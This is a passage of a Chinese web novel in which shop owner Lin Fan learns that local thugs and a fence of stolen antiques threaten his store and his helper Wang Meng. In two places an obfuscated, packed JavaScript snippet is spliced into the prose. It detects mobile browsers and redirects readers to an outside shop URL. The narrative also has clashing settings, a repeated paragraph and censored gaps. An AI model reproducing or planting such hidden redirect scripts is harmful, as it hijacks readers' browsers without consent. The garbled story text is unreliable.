其中最严重的一起,位于城西的老李废品站,因拒绝低价转让一批含有稀有金属的废旧电路板,其店铺门窗连续三晚被不明身份人士砸毁, 最终老李身心受创,担心家人安全,不得不低价盘掉店铺,离开了县城。 王猛此刻遭遇的,正是这类典型的地方性行业暴力缩影,其模式(先威胁恐吓,再破坏财物立威)、手段乃至目标的选择(挑选看起来较弱或"不合作"的经营者),都带有鲜明的行业特征和底层逻辑。 "凡子,我听着他们那口气," 王猛的声音突然变得更加压抑,带着一种探听到秘密的紧张,仿佛要凑到林凡耳边说悄悄话, "他们好像攀上了什么新靠山,说话特别横,底气足得很,说什么''这次回来就是要连本带利讨回来'',还隐约提到什么''强哥''会给他们做主,说''强哥''最讲义气,罩着他们。 我担心他们不会善罢甘休啊!他们这明显是背后有人撑腰了,才敢这么嚣张!" 林凡的眉头越皱越紧,在眉心形成一个深刻的"川"字,仿佛能夹死一只苍蝇。 他能感觉到事情远比想象中复杂。黑皮和刀螂的提前出狱,加上他们突然变得嚣张的气焰和暗示性极强的言语("强哥"、"做主"),确实强烈地暗示着背后可能有不简单的势力在撑腰。 在这个法制日益健全、扫黑除恶常态化的时代,为什么在基层,尤其是在废旧回收这类特定行业和县城这类区域,仍然会滋生出这样的阴影,让黑皮、刀螂之流感觉有机可乘? 他不禁思考起更深层的社会问题:是某些环节的监管乏力或执行不到位,使得"保护伞"或灰色利益链仍有生存空间? 是基层法治资源(如警力、司法监督)分配的不均衡,导致对这类边缘行业和流动人口、刑满释放人员等群体的管控、帮教存在盲区或力度不足? 还是那些盘根错节的地方利益网络、熟人社会的关系学,仍在为特定对象提供着或明或暗的庇护,甚至影响着司法执行的弹性? 有社会学学者研究指出,在一些县域经济生态中,资源回收这类看似边缘的行业,因其现金流相对活跃(常涉及现金交易)、准入门槛低、 且对特定社会关系(如与社区、环卫、相关企业的人脉)依赖度高,有时会成为地方势力渗透和争夺的领域。黑皮和刀螂口中的"强哥", 很可能就是盘踞在这一行业链条上的一个新晋势力头目,或者意图整合这片区域资源的人物。 他们利用黑皮这类有案底、熟悉当地情况且急于寻求"立功"机会以在新靠山面前证明价值的刑满释放人员,往往是为了更快地打开局面、扫清障碍或巩固地盘。 这类结合往往更具破坏性,因为底层混混不计后果的暴力冲动与上层势力所能提供的资源(如资金、关系网、信息)相结合,会形成更系统、更难以对付的威胁。 这些念头在他脑海中飞速盘旋、碰撞,让他清晰地意识到,这次面临的可能不仅仅是两个底层混混的个人报复, 而是一个更复杂、更棘手,或许牵涉到地方势力重新洗牌、试图重新划分"地盘"的严峻局面。他必须重新评估形势,谨慎应对。 这不仅关乎他个人的安危,更关乎他好不容易在老家县城经营起来的"笑笑宝贝屋",以及依赖这个店面生活的王猛等几个伙计们的生计和家庭。 那片小小的童装玩具店,不仅仅是一份产业,更是他们这些底层奋斗者安身立命的根本。 第95章:王猛的恐惧 1994年年底的燕京城,冷得透着股钻骨的硬气。西北风像是蓄足了劲的野马,卷着胡同里家家户户煤炉冒出的煤烟味,一路呼啸着刮过长安街。 街两侧的白杨树早已褪去绿叶,光秃秃的枝桠在寒风中抖索,枝尖上偶尔挂着的残雪被风一吹,便簌簌落下,洒在积着薄冰的人行道上。 护城河的冰面厚得能站上两个人,风掠过冰面,泛起青灰色的冷光,连空气都像是被冻住了,吸进肺里都带着刺痛感。 路边卖烤红薯的摊子倒是冒着热气,铁皮桶里的红薯在炭火中滋滋作响,甜香能飘出好几米远,可铁皮桶外壁结的白霜却半天化不开,连摊主裹着的两层棉袄都显得单薄。 过往行人更是把自己裹得严严实实,棉袄领口、袖口都扎得紧紧的,走路时棉袄面料摩擦,发出簌簌的声响,脚步也比平时快了不少,都想赶紧躲进温暖的屋里。 林凡站在苏家客厅的落地窗前,这扇窗户足有两米高,窗外是苏家精心打理的花园,可此刻他却无心欣赏。 右手握着的黑色电话机还带着掌心的汗,那是他攥得太用力留下的痕迹。左手指尖无意识地攥着刚泡好的碧螺春茶杯,杯子是精致的白瓷材质,杯身上印着淡淡的兰草花纹。 杯里的芽叶还浮在水面,嫩绿色的茶汤冒着细白的热气,氤氲出淡淡的茶香,杯壁凝结的水珠顺着杯身往下滑,滴落在他的手背上,带来一丝凉意,可这点温热根本压不住他心头的焦躁。 他眼底泛着明显的红血丝,眼周还有淡淡的黑眼圈,显然是一夜没合眼。 桌上摊着的商业计划书旁,还放着半块凉透的馒头,馒头表皮已经有些发硬,那是他今早没吃完的早饭,旁边的咸菜碟里,几根咸菜也早已失去了水分。 计划书的封皮用钢笔工整地写着“江城古籍文创项目草案”,封皮边缘有些微微卷起,稿纸上密密麻麻的批注停在“民国期刊数字化”那一页, 字迹遒劲有力,能看出书写者的认真,钢笔尖还卡在纸缝里,墨水在纸上晕开了一小团痕迹,显然是被突然打断的正事。 他的眉头拧得能夹碎筷子,额角的青筋像条凸起的小蛇,突突直跳,胸腔里更像是塞了团浸了油的棉絮,闷火越烧越旺,连喉咙都干得发疼。 他下意识抿了口绿茶,滚烫的茶汤滑过喉咙,带来一阵灼痛感,却没压下那股燥意。满脑子都是黑皮和刀疤脸的身影,这两个名字像魔咒一样在他脑海里盘旋。 这两个江城有名的地头蛇,上周才因为“走私明清瓷器残片”**城海关抓了现行,当时警方行动迅速,在他们位于江城老工业区的仓库里,搜出了三箱待销的文物, 其中不乏明清时期的瓷器、玉器残片,当时新闻还报道了这件事,大家都以为这两人能受到应有的惩罚,关个十年八年的吧?可怎么短短半年就从局子里放出来了? 他太清楚这背后的门道了。 在那个年代,部分地区的权力寻租现象时有发生,一些公职人员被利益诱惑,成为黑恶势力的“保护伞”。 上个月《江城晚报》头版就用大篇幅曝光过一起“保护伞”大案:某区派出所副所长张某,利用职务之便,每月收受地下赌场三成“保护费”,大约15万元。 要知道,1994年江城普通职工的月薪平均也就三百多元,15万元相当于一个普通职工四十多年的工资。 张某不仅为赌场通风报信,提前告知警方的检查计划,还利用职权篡改案卷,将涉黑人员李某的刑期从两年减至八个月。 最终,张某的罪行败露,被判处**五年,相关报道还附上了他被逮捕时的照片,可即便如此,仍有不少人顶风作案。 而1994年上半年江城警方通报的数据显示,全市已查处涉黑保护伞案件3起,涉案公职人员12人,其中6人是基层派出所**。 这些数字像针一样扎在林凡心里,让他对当地的治安环境感到深深的担忧。 更让他心寒的是,黑皮那个在江城城南“红灯巷”开赌场的表哥,场子藏在三家洗头房中间,位置隐蔽,平时靠黑皮带着手下看场,维护秩序,其实就是用暴力手段逼迫赌客还钱,防止有人**。 据圈内人透露,那个赌场月流水能到一百二十万,光是用来疏通关系的“门路钱”就占了三成,也就是每月36万,专门打点辖区的片警、工商人员以及一些相关部门的工作人员。 不用想也知道,这次黑皮能这么快出来,肯定是他表哥动了这笔钱,找了更硬的靠山,打通了关节。 更让他坐立难安的是,这两人刚出来就找过来,明摆着是为了上月被他截胡的那批“清代官窑瓷片”寻仇。 那可不是普通的瓷片,而是康熙年间青花缠枝莲纹官窑的残片。 康熙官窑瓷器以其精湛的工艺、独特的纹饰闻名,存世量稀少,即便只是残片,也具有很高的收藏价值和研究价值。 这批残片一共12片,是他上个月在江城郊区清代古墓遗址附近考察时,从当地农户手里收来的。 当时农户在耕地时偶然发现了这些瓷片,不知道其价值,林凡得知后,耐心向农户讲解文物保护的重要性,最终以合理的价格将瓷片收了过来,原本打算交给当地文物局。 可他后来了解到,在黑市上,这种康熙官窑瓷片单片就能卖2万,12片本该卖24万。 当时黑皮已经通过非法渠道得知了这批瓷片的消息,并且和香港的买家约在江城“老码头”交易,还提前收了5万定金。 结果被林凡以“文物归国家,非法买卖文物违法”为由举报,交易不仅黄了,黑皮还因为违约,赔了买家5万违约金,前后损失近30万。这笔账,黑皮记了一个月,如今他出来了,报复来得一点都不意外。 “就他们两个人? 有没有携带家伙?他们具体怎么说的?” 林凡的声音沉得能结出冰碴,每一个字都像是从牙缝里挤出来的,指节因为攥紧手机而泛白,关节处的皮肤都失去了血色。 这台黑色电话机是苏家对外的呼叫联络工具,机身厚重,外壳是金属材质,拿在手里很有分量,此刻却像要被他捏碎似的。 他的大脑像台高速运转的机器,飞速调取着对这两个亡命徒的记忆。黑皮本名李三,因为皮肤黝黑,脸上还有一道浅浅的疤痕,所以大家都叫他黑皮。 早年他在江城水果市场抢地盘时,为了争夺摊位,用水果刀捅伤过摊主老王的肚子,当时老王伤势严重,住了半个多月的院,黑皮也因此被关了两年。 出狱后,他不仅没有悔改,反而变本加厉,眼神里的狠劲更足了,行事也更加肆无忌惮。 刀疤脸则是个彻头彻尾的财迷,脸上一道长长的刀疤从额头延伸到脸颊,看着就令人害怕。 三年前,他为了五千块钱,就把一起作案的同伙卖给了警方。 要知道,1994年普通工人的月薪也就三百多元,五千块相当于当时普通工人一年半的工资。他不仅出卖同伙,还卷走了同伙藏在床底的私房钱,可见其贪婪和无情。 这两人的报复手段从来没下限,要么找他本人硬碰硬,用暴力解决问题,要么就拿软柿子捏,欺负那些体弱或者势力单薄的人,比如看守笑笑宝贝屋的王猛。 王猛今年三十七,原本是个身强力壮的汉子,可十年前在江城搬运站扛货时,被掉落的木箱砸断了右腿。 当时医疗条件有限,腿伤没能完全恢复,留下了旧伤,现在阴雨天腿还会肿得发亮,走快了都费劲,根本经不起折腾。而且王猛性格老实,没什么背景,正是黑皮他们容易下手的对象。 可最让他脊背发凉的是,笑笑宝贝屋对他来说有着特殊的意义。 那是他前年才开的童装玩具店,在小县城东城区南锣鼓巷北口,位置还算显眼。 店门口特意摆了个小花坛,里面种着三株月季,每到开花的季节,粉色、红色的花朵绽放,特别好看,也吸引了不少顾客。 以前每天下午,笑笑都会坐在门口的小马扎上,喂三只流浪猫,那三只猫分别叫煤球、小白和橘胖。 煤球全身漆黑,只有眼睛是亮黄色的;小白是只白猫,身上带着几点黄斑;橘胖则是只胖乎乎的橘猫,特别能吃。 笑笑每次都会把家里的剩饭剩菜带来,耐心地喂给它们,画面温馨又美好。 要是黑皮他们找过去捣毁店铺,不仅会造成经济损失,还会破坏这份温馨。 “明面上就他俩,但嚣张得很!” 王猛的声音从听筒里传来,还夹杂着电流的滋滋声,听得出来他在刻意压低音量,生怕被人发现。 “他们就在门口踹招牌,那‘笑笑宝贝屋’的木牌是我去年特意找木匠做的,用的是上等的松木,刷了红漆,现在都快被踹裂了,红漆掉了一大块,露出里面的木头纹理。 他们还喊着要和你‘算总账’,阴阳怪气地说‘知道你攀上了苏家的高枝,以为能当缩头乌龟’,话语里满是挑衅。” 王猛顿了顿,咽了口唾沫,声音突然发颤,像是被窗外的寒风冻住了似的: “可他们最后撂下话,说‘县官不如现管’,燕京的苏家管不到江城的事,要你三天内滚回来赔他们‘拘留损失费’——足足五万! 你知道这五万是什么概念不?咱江城普通工人月薪才三百五,一年也就四千二,这五万相当于十四年的工资啊!否则……否则就要去燕京找笑笑姑娘‘聊聊’!” “找笑笑? 他们还敢来燕京?” 林凡的声音陡然拔高,带着难以置信的愤怒,随后又猛地压低,生怕被屋里其他人听到。 指节攥得电话听筒边缘都硌进了肉里,留下了深深的印记。 他眼前瞬间浮现出笑笑的样子:她还穿着鹅黄色的连衣裙,那是她最喜欢的颜色,裙子上绣着小小的兔子图案。 她坐在院子门口的小马扎上,手里拿着猫粮,正喂着橘胖,阳光落在她脸上,暖洋洋的,她笑起来时,嘴角两边会露出两个浅浅的梨涡,里面像是盛了蜜,可爱极了。 她还会举着沾了点猫粮的小手,跑到他面前,让他看看脏不脏,眼神清澈又天真。 可去年江城那起古董商**案突然闯进脑海,让他的心一下子揪紧了。 受害者是做明清瓷器生意的张启山,在江城古董圈小有名气。因为他拒绝向黑皮团伙交每月五万的保护费,黑皮团伙就怀恨在心,**了他十岁的女儿。 他们把小姑娘绑到了江城郊区的废弃工厂,那里荒无人烟,到处都是破旧的机器和垃圾,小姑娘在那里被关了三天三夜,受到了极大的惊吓。 虽然最后在警方的努力下,小姑娘被成功救了出来,可她留下了严重的心理阴影,现在见了陌生人就发抖,躲在父母身后不敢出来,每周都要去江城心理诊所做治疗,医生说至少要一年才能缓解创伤。 要是笑笑受了一点委屈,哪怕只是受到惊吓,他都无法原谅自己。 林凡的后槽牙咬得咯咯作响,一股寒意从脚底顺着脊椎往上冲,连指甲盖都泛着青,身体控制不住地微微颤抖。 他强迫自己深呼吸三次,努力平复翻涌的情绪,让自己冷静下来,继续追问: “钱老西那边有什么动静?” 这个钱老西,本名钱四海,因为为人吝啬,又总是算计别人,所以大家都叫他钱老西。 他表面上是“江城旧书斋”的老板,每天守着书店,和顾客讨价还价,看起来和普通的书店老板没什么两样,实则是江城地下古籍销赃网的头头,手上沾满了不法的勾当。 圈内人都知道,他手里有三条稳定的销赃渠道:一条通广州,通过广州的外贸渠道,将古籍卖到国外;一条通香港,香港的古董市场活跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731090|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有不少人愿意高价收购珍稀古籍; 还有一条通日本,日本对中国古籍有很高的收藏热情,一些日本收藏家会通过他购买古籍。他专门做珍稀古籍的走私生意,从中牟取暴利。 上个月林凡在他店里看到一套1938年上海良友书局出版的《三国演义》连环画,那套连环画全套24册,封面是彩色石印的,画得栩栩如生,内页纸张保存完好, 没有明显的破损和污渍,品相完好,在当时的古籍市场上,市价至少十万。 可钱老西却想以五千块的低价强买,还拍着桌子威胁林凡,说“识相点就卖,不然以后你在江城别想收一本书”,语气嚣张又霸道。 当时林凡以“书是朋友托放的,自己做不了主”为由拒绝了。 那个朋友是江城有名的古籍收藏家老周,老周痴迷古籍收藏几十年,家里藏有不少珍贵的古籍。 三年前,老周曾被钱老西用假字画掉包过一本清代抄本《论语》,那本抄本是老周花了多年积蓄才买到的,对他意义重大,至今还没讨回公道,老周每次提起这件事,都气得捶胸顿足。 钱老西临走时那道阴冷的眼神,像是要把林凡生吞活剥,现在想起来还让人发毛。 “那个老滑头更恶心!” 王猛的声音陡然拔高,带着愤怒,随后又赶紧捂住嘴,警惕地看了看门外,压低声音继续说, “他本人没露面,估计是怕被人抓住把柄,但这两天总有生面孔在书店周围转悠,形迹可疑。” 电话那头传来纸张翻动的哗哗声,是王猛在看他记在旧笔记本上的特征,那本笔记本已经用了大半,纸页都有些发黄了。 “我都记下了:两个穿黑色皮夹克的男人,皮夹克看起来很旧,上面还有不少磨损的痕迹,他们都戴着藏青色鸭舌帽,帽檐压得很低,几乎遮住了半张脸,看不清长相。 一个左脸颧骨上有颗黄豆大的痣,痣上还长着几根黑色的汗**,他总摩挲口袋里的**,手指在口袋外面不停摸索,一看就不是好人; 另一个右腿有点跛,走路时脚尖先着地,应该是旧伤,和我的腿伤不一样,他的跛看起来更严重,每走一步都有些摇晃。 他们每天下午两点准时站在对面的电线杆下,眼睛就盯着笑笑宝贝屋的门,一动不动,特别是老赵头来送旧书的时间段。 老赵头是退休的中学老师,今年快七十了,身体还算硬朗,他喜欢收集旧书,家里有不少存货,经常把一些珍贵的旧书送到书店来卖。 每次他都用二八自行车驮着一筐旧书来,那辆自行车还是他年轻时买的,现在已经很破旧了。 昨天他来送书时,被那两个男人拦住了,他们故意找茬,把老赵头的自行车推倒了,书撒了一地,有的书还被踩坏了。 那个跛脚的还踹了老赵头一脚,老赵头年纪大了,哪里经得起踹,一下子就坐在了地上,那男人还恶狠狠地说‘再多管闲事就卸你一条腿’! 老赵头今天早上给我打电话,声音都在抖,说不敢再来送书了,怕再遇到他们。” 王猛的声音压得更低了,几乎是贴着话筒在说,像是怕被门外的人听见: “我托文物局的李哥查过,李哥在文物局工作多年,消息灵通。 上个月有本万历年间的‘词话本’《**》在香港黑市拍出了二十万的高价。 那本书是去年从江城藏书家李某家被盗的,李某发现藏书被盗后,立刻报了警,警方经过调查,查到钱老西通过广州的‘水客’,把这本书卖到了香港。 ‘水客’就是专门在边境地区走私物品的人,他们利用频繁出入境的便利,将违禁物品带出去。 李哥还说,钱老西之前还卖过清代郑板桥的《墨竹图》,郑板桥的画作风格独特,深受收藏家喜爱,那幅《墨竹图》更是精品中的精品。 警方盯了他半年,派人跟踪、监视,收集证据,可他太狡猾了,每次都让手下出面交易,自己从不露面,而且钱走的是**,没有正规的交易记录,根本抓不到确凿的证据,最后只能眼睁睁看着他逍遥法外。 这次他派这两个人在书店周围转悠,肯定是盯着你手里的那本‘汲古阁’刻本《楚辞》。 林凡眯起眼睛望向窗外,玻璃映出他森冷的瞳孔—— 窗外的苏家花园里,园丁正戴着厚手套修剪月季,阳光透过玻璃洒进来,落在红木地板上,亮得刺眼,可他心里却像裹着一层冰。 现在局势已经很明朗了: 黑皮团伙是明刀明枪的威胁,要的是钱和面子,敢直接撂狠话威胁笑笑; 而钱老西则是暗地的毒蛇,藏着钝刀子割肉的祸心,盯着的是他手里的古籍藏书,说不定还想借着黑皮的事浑水摸鱼, 让他顾此失彼。这两股势力就像一个张开的捕兽夹,一边是明晃晃的齿刃,一边是隐藏的弹簧,稍有不慎就会万劫不复。 他抬手叩击着窗框,红木的纹理在指尖划过,凉丝丝的触感让他的思绪一点点清晰:不能再等了。要是等黑皮真的来了燕京,以他们的狠劲,说不定真会在燕京搞出伤害笑笑的事情。 虽然这种几率很小,毕竟苏家大院可不是其他地方,除了武警执勤外,就周边的暗中保护力量都让外人靠不了墙边。 要是钱老西偷了藏书,不仅是财产损失,那些古籍里还有老周托他保管的珍品,他没法交代。 至于笑笑,他根本不担心,没有比在这苏家大院里更安全的地方了,最重要的是,他得亲自回一趟江城——这些麻烦是冲着他来的,不能让王猛替他承担。 他不想过多动用苏家的关系,这些江湖恩怨不该牵连他人。当务之急是先让王猛暂时关闭笑笑的宝贝屋—— 至于笑笑,在苏家大院里肯定安全,最重要的是,他得亲自回一趟江城—— 这些麻烦是冲着他来的,不能让王猛替他承担。 第96章:不畏惧 明枪暗箭,像两股裹挟着县城初秋湿冷的阴风,卷着街角老槐树落下的第一拨枯黄叶子,一起扑向了站在客厅中央的林凡。 风从半开的木窗缝里钻进来,掠过他微颤的衣角,也让空气中那股若有似无的焦虑变得愈发浓烈。 他后背轻轻靠在客厅那尊雕着缠枝莲纹的红木柜上,这柜子还是笑笑姥姥当年的陪嫁,据说用的是东南亚进口的大红酸枝, 柜身上的缠枝莲纹由老木匠纯手工雕刻,花瓣的弧度、枝叶的脉络都透着精致。经过二十多年的岁月打磨,柜面泛着一层温润如玉的光泽,用手摸上去能感觉到细腻的包浆。 可此刻,这坚实的红木柜却稳不住上面摆着的青瓷花瓶—— 那是笑笑姥爷去年在城郊一个老木匠家里偶然收来的民国物件,瓶身上绘着浅淡的山水图,细弱的纹路随着林凡身体难以察觉的轻颤微微晃动, 瓶底与柜面接触的地方发出细微的“滋滋”声,仿佛下一秒就要失去平衡,摔落在光洁的水泥地上,碎成一地瓷片。 林凡缓缓闭了闭眼,深吸一口气,鼻腔里瞬间灌满了红木特有的沉香气息,还夹杂着厨房里飘来的、晚晴熬粥时留下的淡淡米香,可这些熟悉的味道却压不住他心头的焦躁。 他能清晰地感觉到,自己在县城老街上苦心经营了三年的“笑笑宝贝屋”,那间承载着他所有希望的小铺子,正被一张看不见的网越收越紧,每一次收紧,都让他喘不过气。 黑皮和刀螂是明面上最凶狠的豺狼,这两个在县城老街坊里出了名的混混,常年游手好闲,靠敲诈勒索小商贩过活。 早在上个月,林凡从一个退休老干部家里收来一台民国时期的老式收音机,那收音机外壳是胡桃木的,音质还能正常使用,黑皮和刀螂听说后,立刻找上门来,想以五百块的低价买走 要知道,这台收音机在古玩市场上至少能卖到三千块。林凡自然不肯让步,两人当时就撂下狠话,说要让他“在县城待不下去”。 这次听说林凡去了燕京苏家,两人更是找到了发泄的机会,每天带着三四个人在笑笑宝贝屋门口晃悠。他们要么故意踢翻门口堆放的废纸箱,让纸片散落一地; 要么对着路过的顾客吹口哨、说脏话,吓得不少原本打算进店的人转身就走。 嘴里还不停地骂骂咧咧地喊着“等林凡回来,让他知道厉害”,他们要的就是在街坊邻居面前挣回那点所谓的“面子”, 把林凡平日里积攒的好名声彻底压下去,让大家都知道,在这条老街上,还是他们说了算。而钱老西则是藏在暗处、更难对付的狐狸。 这个戴着金边眼镜、总爱穿一身洗得发白的中山装的老头,平时在古玩市场倒腾旧物件,说话总是慢条斯理,看着文质彬彬的样子,可心眼却比谁都多,背地里被人称作“笑面虎”。 他早就盯上了林凡店里的宝贝——那几箱用牛皮纸仔细包着的连环画。 去年秋天,林凡偶然从一个退休教师家里收来这些连环画,足足有二十多本,其中还藏着三本民国时期出版的《大闹天宫》孤本。 据古玩市场里懂行的老张说,这种保存完好的民国孤本,单本在市面上就能卖到两三万,三本加起来,就是一笔不小的数目。 钱老西图的就是这份“里子”,他不想像黑皮那样大张旗鼓地**,而是想神不知鬼不觉地把孤本弄到手,既不引人注意,又能赚一笔大钱。 林凡这次离开县城,本是带着笑笑来上海照顾生病的妻子晚晴,他原本以为最多十天八天就能回去, 可没成想到,到了上海后,妻子的病情比预想中严重,需要进一步观察。更意外的是,妻子的家人——燕京苏家特意邀请他和笑笑去苏家大院做客,让他把苏家当成自己的家。 苏家在整个华夏都很有威望,态度也十分温暖,林凡盛情难却,便带着笑笑来了燕京。 他怎么也没想到,自己不在的这些日子里,那个不到五十平米、摆满了童装玩具文具和旧书的笑笑宝贝屋,竟然成了别人眼里的肥肉,成了明争暗抢的靶子。 店里的伙计王猛虽然跟着他干了两年,为人忠心耿耿,做事也很勤快,可性子太憨直,说话还带着点结巴,一着急就更说不清楚了。 平时在市场里,他连跟小贩讨价还价都会脸红,更别说对付黑皮他们的蛮横无理和钱老西的阴险算计了。 面对这样的明枪暗箭,王猛根本力不从心,只能每天急得团团转,却拿不出一点办法。 “猛子,你听好, 我现在说的每一句,你都记牢了,一个字都不能错。” 林凡握着电话的手指不自觉地紧了紧,指节因为用力而泛出白色,他能清晰地想象到电话那头王猛紧张得攥着衣角、手足无措的样子—— 每次遇到麻烦,王猛都会这样。 林凡深吸一口气,努力压下心里的慌乱,语气变得异常冷静,却带着不容置疑的果断,每个字都咬得很清楚,像是在给学生划考试重点一样,生怕对方听漏一个字: “第一,从现在起,店铺立刻歇业,卷帘门拉下来锁死,用那种加粗的铜锁,就是上次咱们在五金店买的、要两个人才能抬起来的那种,再贴张纸条说‘家里有事,停业三天’, 字写大一点,用马克笔写,别让人看不清。你现在就去把店里值钱的东西—— 尤其是那些收来的旧书,特别是我单独放在铁皮箱里的那几箱连环画,那箱子我特意焊了加固条,边角都用铁皮包好了,你搬的时候小心点,别磕着碰着, 全部转移到咱们之前租的小仓库里去。仓库在县城西边的旧粮站里,就是那个有个大铁门、门口种着棵老槐树的地方,你还记得吧? 记得锁两道锁,一道挂锁,一道暗锁,暗锁的钥匙只有你一个人有,别给任何人,包括你家里人,哪怕是你妈问,也不能说。 还有,不管是谁问,哪怕是菜市场卖豆腐的李大妈—— 她跟你妈是老熟人,上次你妈过生日,她还送了你家一筐白菜,人是不错,但嘴碎,保不齐转头就跟别人说了,所以也不能说仓库的位置!” “第二,你自己别回住处住了——你那屋就在店铺隔壁,窗户正对着店铺门口,黑皮他们要是找不到我,肯定会去你住处蹲守,到时候你就危险了。 你去张婶家借住几天,张婶也是老邻居了,她也认可你的为人,她炸的油条又香又脆,每天早上都排着长队。 之前你发烧到39度,没人照顾,还是她每天早上给你送小米粥和茶叶蛋,连着送了一个星期,这份情分错不了,她肯定信得过。 出门尽量跟人一起,比如跟张婶的儿子小涛一起去买东西,小涛那孩子才十八岁,身高一米八,力气大,还在武校学过两年武术,有他在,能帮你挡挡。 别单独行动,尤其是晚上,县城西边的巷子没路灯,黑得很,还坑坑洼洼的,不安全。 黑皮他们找不到我,心里肯定有气,很可能会拿你出气,你千万不能出事,你要是有个三长两短,我没法跟你家里人交代,也对不起你跟着**这么久。” “第三,不管再看到黑皮的人,还是那些可疑的生面孔——比如穿着黑色夹克、戴鸭舌帽的,或者总在店铺附近来回踱步、眼神躲闪的,都别跟他们起冲突。 哪怕他们骂你、砸东西,你也先躲开,别跟他们吵,更别动手,他们就是想激怒你,等着你犯错,然后好找借口对你动手。 你直接躲到张婶的早点铺里,把卷闸门拉下来锁上门,然后给我打传呼,传呼号你记好了,是126-886699。一切等我回去处理,听见没有?” “可是凡子……” 电话那头的王猛急了,声音里带着明显的不甘,还有点委屈,像是受了气却没人撑腰的孩子,“店铺关门,一天少赚两百多呢! 我这个月还想着多赚点钱,给我妈买台新的洗衣机,她那台老洗衣机用了十年了,总漏水,每次洗衣服都弄得满地是水,冬天的时候地面结冰,好几次都差点滑倒。 而且我还跟李大爷说好了,今天给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739495|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他留着旧报纸,李大爷要用来糊墙,他家的土墙都掉皮了,我要是失信了,以后他都不会再把家里的旧东西卖给咱们了…… 还有,你回来太危险了,黑皮他们昨天在店铺门口跟人说,要‘打断你的腿’,让你再也没法去市场进货!” “钱没了可以再赚,洗衣机以后咱们能买更好的,大不了多攒两个月钱;李大爷那边我回来亲自去道歉,再给他找些更厚实的旧报纸,还能给他带两斤好茶叶,他肯定能原谅咱们。 可人**,什么都没了,你明白吗?” 林凡的语气突然严厉起来,带着一丝不容反驳的强硬,像小时候他爸拿着竹尺子教训他撒谎时的语气,既严肃,又带着点恨铁不成钢的心疼, “听话,猛子!我这边已经安排好了,明天一早就往回赶,坐最早的那班火车,最多后天中午就能到县城。 在我回去之前,你保护好自己,就是对我最大的帮助。 别逞能,也别心疼那点钱——等这事过了,我带你来燕京吃烤鸭,就去全聚德,让你尝尝刚出炉的烤鸭,皮脆肉嫩, 用筷子一夹就能听到‘咔嚓’的声音,再蘸着甜面酱,卷着薄饼,就着黄瓜条和葱丝吃,那味道,保证你这辈子都忘不了,明白吗?” 王猛在电话那头沉默了几秒,林凡能听到他轻轻的呼吸声,还有远处传来的自行车铃声——那是县城里最常见的二八大杠自行车,铃声清脆,却让此刻的氛围显得更加安静。 过了一会儿,王猛才低低地应了声: “我知道了,凡子,我听你的。 我现在就去转移书,我找个黑塑料袋把铁皮箱裹起来,再用家里的旧布盖着,保证没人看见。我搬的时候会小心,不会磕碰到的。” 林凡又仔细叮嘱了王猛几句,让他转移东西时别用平时拉货的三轮车——那辆车的车斗上印着“笑笑宝贝屋”的红色字样,太容易被人认出来,一旦被黑皮的人看到,肯定会起疑心。 一定要用张婶平时推早点的小推车,那推车是不锈钢的,上面总盖着一块蓝色的帆布,不容易引人注意。 走的时候要从店铺后面的窄门出去,绕着菜市场后面的胡同走,避开主街,因为主街上人多眼杂,很可能会遇到黑皮的同伙。 等王猛一一答应下来,反复确认自己记住了所有事情后,林凡才挂了电话。 听筒放回话机的瞬间,他紧绷的肩膀微微垮了垮,像是卸下了千斤重担,可手指还在不受控制地发颤—— 刚才在电话里强装镇定,其实他心里比谁都慌。 他知道黑皮那帮人下手有多狠,去年冬天,有个卖水果的小贩跟他们抢生意,结果被他们堵在巷子里打得鼻青脸肿,住了半个月院,最后还不得不搬离了这条老街; 钱老西也不是善茬,古玩市场里的人都知道,他为了弄一个清代的青花瓷瓶,能跟人耗上大半年,一会儿用甜言蜜语哄骗,一会儿又用威胁恐吓的手段,直到把东西弄到手才罢休。 这次回去,注定是一场硬仗,可他不能退,店铺里有他三年的心血,每一件童装、每一件玩具都凝聚着他的汗水; 王猛还在等着他,那个憨厚的小伙子把他当成了亲人,他不能让王猛受委屈; 那些珍贵的民国孤本更不能落到坏人手里,那是老祖宗留下的宝贝,应该被好好保护起来。 他走到窗边,看着窗外渐渐暗下来的天色,远处的高楼亮起了灯光,给漆黑的夜空点缀上了点点光亮。 心里默默盘算着:回去后,先找老街坊里威望高的刘叔帮帮忙,刘叔以前是县文化馆的馆长,在老街上人缘好、说话有分量,有他出面,黑皮他们或许能收敛一点; 然后再去派出所报备一下,把黑皮和钱老西的所作所为都告诉警察,让他们提前有个准备; 另外,还要去古玩市场找老张,让他帮忙留意一下,看看钱老西有没有在暗中打听孤本的消息。 无论如何,都要把这场风波平下来,保护好店铺、保护好王猛,还有那些珍贵的宝贝。 第97章:县城的往事 刚才通话时他刻意压低了声音,喉结在脖颈处轻轻滚动,每一个字都像是从牙缝里挤出来般小心翼翼。 可客厅里实在太静了,静得能清晰听见墙上挂钟秒针走动的“滴答”声,真可谓落针可闻。窗外的月光透过薄纱窗帘洒进来,在地板上投下斑驳的光影,更添了几分压抑。 秦淑慧和苏瑾瑜早已从庭院里走了进来。庭院中那几株栀子花正开得旺盛,白色的花瓣上还沾着傍晚的露水,可两人此刻却无心欣赏这份景致。 